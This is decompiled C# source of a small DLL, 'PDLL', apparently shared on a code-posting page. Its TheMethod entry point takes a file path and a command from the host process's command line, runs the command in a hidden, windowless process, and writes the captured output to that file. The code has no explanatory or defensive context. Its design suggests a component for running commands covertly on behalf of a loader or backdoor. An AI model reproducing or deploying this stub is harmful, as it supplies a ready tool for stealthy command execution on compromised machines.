// PDLL, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// PDLL.ClassTools
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Threading.Tasks;
using PDLL;
public class ClassTools
{
private static string str = "";
[DllImport("kernel32.dll", SetLastError = true)]
[STAThread]
private static extern string GetCommandLineA();
public static void TheMethod()
{
try
{
Task.Run((Func<Task>)new ClassTools().Run).Wait();
}
catch (Exception ex)
{
File.WriteAllText(str, DateTime.Now.ToString() + " Me: " + ex.InnerException.Message);
}
}
private async Task Run()
{
string commandLineA = GetCommandLineA();
string text = "TheMethod";
int startIndex = commandLineA.IndexOf(text) + text.Length;
string text2 = commandLineA.Substring(startIndex).Trim();
string[] array = text2.Split(',');
string FullPath = (str = array[0]);
text2 = array[1].Trim();
File.WriteAllText(FullPath, await MyMethod(text2, outs: false));
}
private async Task<string> MyMethod(string mand, bool outs)
{
_ = 1;
try
{
Process proces = new Process();
ProcessStartInfo processStartInfo = new ProcessStartInfo();
processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
processStartInfo.CreateNoWindow = true;
processStartInfo.UseShellExecute = false;
processStartInfo.RedirectStandardError = true;
processStartInfo.RedirectStandardOutput = true;
int num = mand.IndexOf(' ');
if (num > -1)
{
processStartInfo.FileName = mand.Substring(0, num);
processStartInfo.Arguments = mand.Substring(num, mand.Length - num);
}
else
{
processStartInfo.FileName = mand;
}
proces.StartInfo = processStartInfo;
proces.Start();
if (outs)
{
return "";
}
string text = await proces.StandardOutput.ReadToEndAsync();
string empty = string.Empty;
if (text == string.Empty || text == null)
{
return "\n" + await proces.StandardError.ReadToEndAsync();
}
proces.WaitForExit();
return empty + text;
}
catch (Exception ex)
{
return DateTime.Now.ToString() + " " + ex.Message;
}
}
}
Comments
0 B
|👍
/👎
0 B
|👍
/👎